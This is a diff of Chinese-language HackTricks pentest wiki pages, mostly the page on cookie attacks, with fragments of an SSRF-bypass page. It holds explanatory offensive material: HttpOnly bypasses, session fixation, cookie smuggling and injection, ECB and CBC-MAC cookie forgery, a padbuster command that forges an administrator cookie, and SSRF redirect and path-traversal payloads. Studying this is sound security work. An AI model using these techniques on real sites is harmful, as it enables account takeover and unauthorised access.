* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,这样您就可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,20 +8,12 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
发现最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Cookie属性
|
||||
|
||||
Cookie带有几个属性,控制它们在用户浏览器中的行为。以下是这些属性的概述,使用更加被动的语气:
|
||||
|
@ -32,7 +24,7 @@ Cookie的过期日期由`Expires`属性确定。相反,`Max-age`属性定义
|
|||
|
||||
### 域
|
||||
|
||||
`Domain`属性指定接收Cookie的主机。默认情况下,这设置为发出Cookie的主机,不包括其子域。但是,当显式设置`Domain`属性时,它也包括子域。这使得指定`Domain`属性成为一个不太限制的选项,适用于需要在子域之间共享Cookie的情况。例如,设置`Domain=mozilla.org`会使Cookie在其子域(如`developer.mozilla.org`)上可访问。
|
||||
`Domain`属性指定接收Cookie的主机。默认情况下,这设置为发出Cookie的主机,不包括其子域。但是,当显式设置`Domain`属性时,它也包括子域。这使得`Domain`属性的规范化选项更少,适用于需要在子域之间共享Cookie的情况。例如,设置`Domain=mozilla.org`使Cookie可以在其子域(如`developer.mozilla.org`)上访问。
|
||||
|
||||
### 路径
|
||||
|
||||
|
@ -40,18 +32,19 @@ Cookie的过期日期由`Expires`属性确定。相反,`Max-age`属性定义
|
|||
|
||||
### 排序规则
|
||||
|
||||
当两个Cookie具有相同的名称时,选择要发送的Cookie基于:
|
||||
- 请求URL中匹配最长路径的Cookie。
|
||||
- 如果路径相同,则选择最近设置的Cookie。
|
||||
当两个Cookie具有相同的名称时,选择发送的Cookie基于:
|
||||
|
||||
* 请求URL中匹配最长路径的Cookie。
|
||||
* 如果路径相同,则选择最近设置的Cookie。
|
||||
|
||||
### SameSite
|
||||
|
||||
- `SameSite`属性规定了Cookie是否在来自第三方域的请求上发送。它提供三种设置:
|
||||
- **Strict**:限制Cookie在第三方请求中发送。
|
||||
- **Lax**:允许Cookie随第三方网站发起的GET请求发送。
|
||||
- **None**:允许从任何第三方域发送Cookie。
|
||||
* `SameSite`属性规定了是否在来自第三方域的请求上发送Cookie。它提供三种设置:
|
||||
* **Strict**:限制Cookie在第三方请求上发送。
|
||||
* **Lax**:允许Cookie随第三方网站发起的GET请求发送。
|
||||
* **None**:允许从任何第三方域发送Cookie。
|
||||
|
||||
请记住,在配置Cookie时,了解这些属性可以帮助确保它们在不同情况下的行为符合预期。
|
||||
记住,在配置Cookie时,了解这些属性可以帮助确保它们在不同情况下的行为符合预期。
|
||||
|
||||
| **请求类型** | **示例代码** | **发送Cookie的情况** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
|
@ -67,7 +60,7 @@ Cookie的过期日期由`Expires`属性确定。相反,`Max-age`属性定义
|
|||
具有_SameSite_属性的Cookie将**减轻需要登录会话的CSRF攻击**。
|
||||
|
||||
**\*请注意,从Chrome80(2019年2月)开始,没有Cookie SameSite属性的Cookie的默认行为将是lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/))。\
|
||||
请注意,临时地,在应用此更改后,Chrome中**没有SameSite策略的Cookie**在**前2分钟内将被视为None**,然后对于顶级跨站点POST请求将被视为Lax。
|
||||
请注意,临时地,在应用此更改后,Chrome中没有SameSite策略的Cookie在**前2分钟将被视为None**,然后在顶级跨站点POST请求中将被视为Lax。
|
||||
|
||||
## Cookies标志
|
||||
|
||||
|
@ -77,9 +70,9 @@ Cookie的过期日期由`Expires`属性确定。相反,`Max-age`属性定义
|
|||
|
||||
#### **绕过方式**
|
||||
|
||||
* 如果页面**将Cookie作为响应的一部分发送**(例如在**PHPinfo**页面中),可以利用XSS发送请求到此页面并从响应中**窃取Cookie**(在[https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)中查看示例)。
|
||||
* 可以通过**TRACE** **HTTP**请求绕过此限制,因为服务器的响应(如果此HTTP方法可用)将反映发送的Cookie。这种技术称为**跨站点跟踪**。
|
||||
* 现代浏览器通过不允许从JS发送TRACE请求来避免此技术。然而,已经在特定软件中发现了对此的一些绕过方法,例如向IE6.0 SP2发送`\r\nTRACE`而不是`TRACE`。
|
||||
* 如果页面**将Cookie作为响应发送**(例如在**PHPinfo**页面中),可以滥用XSS发送请求到此页面并从响应中**窃取Cookie**(在[https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)中查看示例)。
|
||||
* 可以通过**TRACE** **HTTP**请求绕过此限制(如果服务器支持此HTTP方法,则来自服务器的响应将反映发送的Cookie)。这种技术称为**跨站点跟踪**。
|
||||
* 现代浏览器通过不允许从JS发送TRACE请求来避免此技术。但是,已经在特定软件中找到了对此的一些绕过方法,例如向IE6.0 SP2发送`\r\nTRACE`而不是`TRACE`。
|
||||
* 另一种方法是利用浏览器的零/日漏洞。
|
||||
* 可以通过执行Cookie Jar溢出攻击**覆盖HttpOnly Cookie**:
|
||||
|
||||
|
@ -87,7 +80,7 @@ Cookie的过期日期由`Expires`属性确定。相反,`Max-age`属性定义
|
|||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* 可以使用[**Cookie Smuggling**](./#cookie-smuggling)攻击来突破这些Cookie
|
||||
* 可以使用[**Cookie Smuggling**](./#cookie-smuggling)攻击来外泄这些Cookie
|
||||
|
||||
### Secure
|
||||
|
||||
|
@ -97,31 +90,31 @@ Cookie的过期日期由`Expires`属性确定。相反,`Max-age`属性定义
|
|||
|
||||
以`__Secure-`为前缀的Cookie必须与受HTTPS保护的页面一起设置`secure`标志。
|
||||
|
||||
对于以`__Host-`为前缀的Cookie,必须满足几个条件:
|
||||
- 必须使用`secure`标志设置。
|
||||
- 必须来自通过HTTPS保护的页面。
|
||||
- 禁止指定域,防止将其传输到子域。
|
||||
- 这些Cookie的路径必须设置为`/`。
|
||||
对于以`__Host-`为前缀的Cookie,必须满足以下几个条件:
|
||||
|
||||
重要的是要注意,以`__Host-`为前缀的Cookie不允许发送到超级域或子域。此限制有助于隔离应用程序Cookie。因此,将`__Host-`前缀用于所有应用程序Cookie可以被视为增强安全性和隔离的良好实践。
|
||||
* 必须使用`secure`标志设置。
|
||||
* 必须来自通过HTTPS保护的页面。
|
||||
* 禁止指定域,防止将其传输到子域。
|
||||
* 这些Cookie的路径必须设置为`/`。
|
||||
|
||||
## Cookies攻击
|
||||
重要的是要注意,不允许将以`__Host-`为前缀的Cookie发送到超级域或子域。此限制有助于隔离应用程序Cookie。因此,考虑将`__Host-`前缀用于所有应用程序Cookie可以被视为增强安全性和隔离的良好实践。
|
||||
## Cookies 攻击
|
||||
|
||||
如果自定义Cookie包含敏感数据,请检查它(特别是在玩CTF时),因为它可能存在漏洞。
|
||||
如果自定义 cookie 包含敏感数据,请检查它(特别是在参加 CTF 时),因为它可能存在漏洞。
|
||||
|
||||
### 解码和操纵Cookie
|
||||
### 解码和操纵 Cookies
|
||||
|
||||
始终应仔细检查Cookie中嵌入的敏感数据。经Base64或类似格式编码的Cookie通常可以解码。此漏洞允许攻击者更改Cookie的内容,并通过将修改后的数据重新编码到Cookie中来冒充其他用户。
|
||||
应始终审查嵌入在 cookie 中的敏感数据。经过 Base64 或类似格式编码的 cookie 通常可以解码。这种漏洞允许攻击者更改 cookie 的内容,并将修改后的数据重新编码到 cookie 中以冒充其他用户。
|
||||
|
||||
### 会话劫持
|
||||
|
||||
此攻击涉及窃取用户的Cookie以未经授权地访问其帐户。通过使用窃取的Cookie,攻击者可以冒充合法用户。
|
||||
此攻击涉及窃取用户的 cookie 以未经授权地访问其应用程序中的帐户。通过使用窃取的 cookie,攻击者可以冒充合法用户。
|
||||
|
||||
### 会话固定
|
||||
|
||||
在这种情况下,攻击者欺骗受害者使用特定Cookie登录。如果应用程序在登录时不分配新Cookie,则拥有原始Cookie的攻击者可以冒充受害者。此技术依赖于受害者使用攻击者提供的Cookie登录。
|
||||
在这种情况下,攻击者欺骗受害者使用特定的 cookie 登录。如果应用程序在登录时不分配新的 cookie,则拥有原始 cookie 的攻击者可以冒充受害者。此技术依赖于受害者使用攻击者提供的 cookie 登录。
|
||||
|
||||
如果您在子域中发现了**XSS**或者您**控制一个子域**,请阅读:
|
||||
如果您在子域中发现了 **XSS** 或者 **控制一个子域**,请阅读:
|
||||
|
||||
{% content-ref url="cookie-tossing.md" %}
|
||||
[cookie-tossing.md](cookie-tossing.md)
|
||||
|
@ -129,9 +122,9 @@ Cookie的过期日期由`Expires`属性确定。相反,`Max-age`属性定义
|
|||
|
||||
### 会话捐赠
|
||||
|
||||
在这种情况下,攻击者说服受害者使用攻击者的会话Cookie。受害者认为他们已登录到自己的帐户中,将无意中在攻击者的帐户上执行操作。
|
||||
在这种情况下,攻击者说服受害者使用攻击者的会话 cookie。受害者认为他们已登录到自己的帐户中,将无意中在攻击者帐户的上下文中执行操作。
|
||||
|
||||
如果您在子域中发现了**XSS**或者您**控制一个子域**,请阅读:
|
||||
如果您在子域中发现了 **XSS** 或者 **控制一个子域**,请阅读:
|
||||
|
||||
{% content-ref url="cookie-tossing.md" %}
|
||||
[cookie-tossing.md](cookie-tossing.md)
|
||||
|
@ -139,24 +132,23 @@ Cookie的过期日期由`Expires`属性确定。相反,`Max-age`属性定义
|
|||
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
单击上面的链接访问解释JWT中可能存在的漏洞的页面。
|
||||
单击上面的链接访问解释 JWT 可能存在缺陷的页面。
|
||||
|
||||
在Cookie中使用的JSON Web Tokens(JWT)也可能存在漏洞。为了深入了解潜在的漏洞以及如何利用它们,建议访问有关黑客JWT的链接文档。
|
||||
在 cookie 中使用的 JSON Web Tokens (JWT) 也可能存在漏洞。要深入了解潜在缺陷以及如何利用它们,请访问有关黑客 JWT 的链接文档。
|
||||
|
||||
### 跨站点请求伪造(CSRF)
|
||||
### 跨站请求伪造(CSRF)
|
||||
|
||||
此攻击强制已登录用户在当前已认证的Web应用程序上执行不需要的操作。攻击者可以利用自动随每个请求发送到易受攻击站点的Cookie。
|
||||
此攻击强制已登录用户在当前已认证的 Web 应用程序上执行不需要的操作。攻击者可以利用自动发送到易受攻击站点的每个请求的 cookie。
|
||||
|
||||
### 空Cookie
|
||||
### 空 cookie
|
||||
|
||||
(在[原始研究](https://blog.ankursundara.com/cookie-bugs/)中查看更多细节)
|
||||
浏览器允许创建没有名称的Cookie,可以通过JavaScript演示如下:
|
||||
(查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)中的更多细节)浏览器允许创建没有名称的 cookie,可以通过 JavaScript 示例如下:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
发送的cookie头中的结果是 `a=v1; test value; b=v2;`。有趣的是,如果设置了一个空名称cookie,就可以操纵cookie,通过将空cookie设置为特定值,潜在地控制其他cookie:
|
||||
发送的cookie头中的结果是 `a=v1; test value; b=v2;`。有趣的是,如果设置了一个空名称cookie,这将允许操纵cookie,潜在地通过将空cookie设置为特定值来控制其他cookie:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`;
|
||||
|
@ -164,11 +156,11 @@ document.cookie = `${name}=${value}`;
|
|||
|
||||
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
这会导致浏览器发送一个名为 `a` 值为 `b` 的 cookie 的 cookie 头,被每个 Web 服务器解释为一个名为 `a` 值为 `b` 的 cookie。
|
||||
这会导致浏览器发送一个名为`a`值为`b`的cookie头,被每个Web服务器解释为一个名为`a`值为`b`的cookie。
|
||||
|
||||
#### Chrome Bug: Unicode Surrogate Codepoint Issue
|
||||
|
||||
在 Chrome 中,如果一个 Unicode 代理码点是一个设置的 cookie 的一部分,`document.cookie` 会变得损坏,随后返回一个空字符串:
|
||||
在Chrome中,如果一个Unicode代理码点是一个设置的cookie的一部分,`document.cookie`会变得损坏,随后返回一个空字符串:
|
||||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
|
@ -176,41 +168,39 @@ document.cookie = "\ud800=meep";
|
|||
|
||||
#### 由于解析问题导致的Cookie走私
|
||||
|
||||
(请查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)中的更多细节)
|
||||
包括Java(Jetty,TomCat,Undertow)和Python(Zope,cherrypy,web.py,aiohttp,bottle,webob)在内的几个Web服务器,由于过时的RFC2965支持,会错误处理Cookie字符串。即使包含分号,它们也会将双引号括起的Cookie值视为单个值,而分号通常应该分隔键值对:
|
||||
(请查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)中的更多细节)一些Web服务器,包括Java(Jetty,TomCat,Undertow)和Python(Zope,cherrypy,web.py,aiohttp,bottle,webob)等,由于过时的RFC2965支持而错误处理Cookie字符串。它们将双引号括起的Cookie值视为单个值,即使其中包含分号,而分号通常应该分隔键值对:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Cookie注入漏洞
|
||||
|
||||
(请查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)中的更多细节)
|
||||
服务器(尤其是Undertow、Zope以及使用Python的`http.cookie.SimpleCookie`和`http.cookie.BaseCookie`)对cookie的解析不正确,为cookie注入攻击创造了机会。这些服务器未能正确界定新cookie的开始,允许攻击者伪造cookie:
|
||||
(查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)中的更多详细信息)服务器对cookie的不正确解析,特别是Undertow、Zope以及使用Python的`http.cookie.SimpleCookie`和`http.cookie.BaseCookie`,为进行cookie注入攻击创造了机会。这些服务器未能正确界定新cookie的开始,允许攻击者伪造cookie:
|
||||
|
||||
- Undertow期望在带引号的值后立即出现新cookie,而无需分号。
|
||||
- Zope寻找逗号以开始解析下一个cookie。
|
||||
- Python的cookie类在空格字符上开始解析。
|
||||
|
||||
这种漏洞在依赖基于cookie的CSRF保护的Web应用程序中尤为危险,因为它允许攻击者注入伪造的CSRF令牌cookie,可能绕过安全措施。问题在于Python处理重复cookie名称时的方式,最后一次出现会覆盖先前的出现。它还引发了对不安全环境中`__Secure-`和`__Host-` cookie的担忧,并且当cookie传递给容易受到欺骗的后端服务器时,可能导致授权绕过。
|
||||
这种漏洞在依赖基于cookie的CSRF保护的Web应用程序中尤为危险,因为它允许攻击者注入伪造的CSRF令牌cookie,可能绕过安全措施。问题在于Python处理重复cookie名称的方式,最后一次出现会覆盖先前的出现。在不安全的环境中,这也引发了对`__Secure-`和`__Host-` cookie的担忧,并且当cookie传递给易受伪造攻击的后端服务器时,可能导致授权绕过。
|
||||
|
||||
### 额外易受攻击的Cookie检查
|
||||
|
||||
#### **基本检查**
|
||||
|
||||
* **cookie** 每次 **登录** 都是 **相同** 的。
|
||||
* 注销并尝试使用相同的cookie。
|
||||
* 尝试使用两台设备(或浏览器)使用相同的cookie登录同一帐户。
|
||||
* 检查cookie中是否有任何信息,并尝试修改它。
|
||||
* 尝试创建几个几乎相同用户名的帐户,并检查是否存在相似之处。
|
||||
* 检查是否存在“**记住我**”选项,看看它是如何工作的。如果存在且可能存在漏洞,请始终只使用“记住我”cookie,而不使用其他cookie。
|
||||
* 检查即使更改密码后,先前的cookie是否仍然有效。
|
||||
- **cookie** 每次**登录**都是**相同**的。
|
||||
- 注销然后尝试使用相同的cookie。
|
||||
- 尝试使用两台设备(或浏览器)使用相同的cookie登录同一帐户。
|
||||
- 检查cookie中是否有任何信息,并尝试修改它。
|
||||
- 尝试创建几个几乎相同用户名的帐户,并检查是否存在相似之处。
|
||||
- 检查是否存在“**记住我**”选项,看看它是如何工作的。如果存在且可能存在漏洞,请始终只使用“记住我”cookie,而不使用其他cookie。
|
||||
- 检查在更改密码后之前的cookie是否仍然有效。
|
||||
|
||||
#### **高级cookie攻击**
|
||||
|
||||
如果在登录时cookie保持不变(或几乎不变),这可能意味着cookie与您帐户的某个字段相关(可能是用户名)。然后您可以:
|
||||
|
||||
* 尝试创建许多非常相似的用户名帐户,并尝试猜测算法是如何工作的。
|
||||
* 尝试**暴力破解用户名**。如果cookie仅保存为您的用户名的身份验证方法,则可以创建一个用户名为“**Bmin**”的帐户,并尝试**暴力破解**您cookie的每一位,因为您尝试的cookie之一将属于“**admin**”。
|
||||
* 尝试**填充** **Oracle**(您可以解密cookie的内容)。使用**padbuster**。
|
||||
- 尝试创建许多非常**相似**的用户名帐户,并尝试**猜测**算法是如何工作的。
|
||||
- 尝试**暴力破解用户名**。如果cookie仅保存为您用户名的身份验证方法,则可以创建一个用户名为“**Bmin**”的帐户,并**暴力破解**您cookie的每一位,因为您将尝试的cookie之一将属于“**admin**”。
|
||||
- 尝试**填充****Oracle**(您可以解密cookie的内容)。使用**padbuster**。
|
||||
|
||||
**填充Oracle - Padbuster示例**
|
||||
```bash
|
||||
|
@ -230,53 +220,46 @@ Padbuster将尝试多次,并询问您哪个条件是错误条件(即无效
|
|||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
这个执行将给出正确加密和编码的 cookie,其中包含字符串 **user=administrator**。
|
||||
这个执行将会给你正确加密和编码的 cookie,里面包含字符串 **user=administrator**。
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
也许一个 cookie 可能会有一些值,并且可以使用 CBC 进行签名。然后,值的完整性是使用相同值使用 CBC 创建的签名。由于建议使用一个空向量作为 IV,这种完整性检查可能会有漏洞。
|
||||
也许一个 cookie 可能会有一些值,并且可以使用 CBC 进行签名。然后,值的完整性是使用相同值的 CBC 创建的签名。由于建议使用一个空向量作为 IV,这种完整性检查可能会有漏洞。
|
||||
|
||||
**攻击**
|
||||
|
||||
1. 获取用户名 **administ** 的签名 = **t**
|
||||
2. 获取用户名 **rator\x00\x00\x00 XOR t** 的签名 = **t'**
|
||||
3. 在 cookie 中设置值 **administrator+t'**(**t'** 将是 **(rator\x00\x00\x00 XOR t) XOR t** 的有效签名 = **rator\x00\x00\x00**
|
||||
3. 在 cookie 中设置值 **administrator+t'**(**t'** 将是 **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** 的有效签名)
|
||||
|
||||
**ECB**
|
||||
|
||||
如果使用 ECB 加密 cookie,可能会有漏洞。\
|
||||
当您登录时,收到的 cookie 必须始终相同。
|
||||
当你登录时,收到的 cookie 必须始终相同。
|
||||
|
||||
**如何检测和攻击:**
|
||||
|
||||
创建两个几乎相同数据的用户(用户名、密码、电子邮件等),并尝试发现给定 cookie 中的某种模式
|
||||
|
||||
创建一个名为例如 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 的用户,并检查 cookie 中是否有任何模式(由于 ECB 使用相同的密钥加密每个块,如果用户名被加密,则相同的加密字节可能会出现)。
|
||||
创建一个名为例如 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 的用户,并检查 cookie 中是否有任何模式(因为 ECB 使用相同的密钥加密每个块,如果用户名被加密,则相同的加密字节可能会出现)。
|
||||
|
||||
应该有一个模式(与使用的块大小相同)。因此,知道一堆 "a" 是如何加密的,您可以创建一个用户名:"a"\*(块的大小)+"admin"。然后,您可以从 cookie 中删除一个块的加密模式 "a",然后您将得到用户名为 "admin" 的 cookie。
|
||||
应该会有一个模式(与使用的块大小相同)。因此,知道一堆 "a" 是如何加密的,你可以创建一个用户名:"a"\*(块的大小)+"admin"。然后,你可以从 cookie 中删除一个块的加密模式 "a",然后你将得到用户名 "admin" 的 cookie。
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今天。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果你想看到你的 **公司在 HackTricks 中做广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,19 +9,11 @@
|
|||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
### 本地主机
|
||||
```bash
|
||||
# Localhost
|
||||
|
@ -169,7 +161,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
```
|
||||
### Fuzzing
|
||||
|
||||
工具[**recollapse**](https://github.com/0xacb/recollapse)可以生成给定输入的变体,尝试绕过使用的正则表达式。查看[**此文章**](https://0xacb.com/2022/11/21/recollapse/)获取更多信息。
|
||||
工具[**recollapse**](https://github.com/0xacb/recollapse)可以生成给定输入的变体,尝试绕过使用的正则表达式。查看[**此文章**](https://0xacb.com/2022/11/21/recollapse/)以获取更多信息。
|
||||
|
||||
### 通过重定向绕过
|
||||
|
||||
|
@ -200,9 +192,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||
|
||||
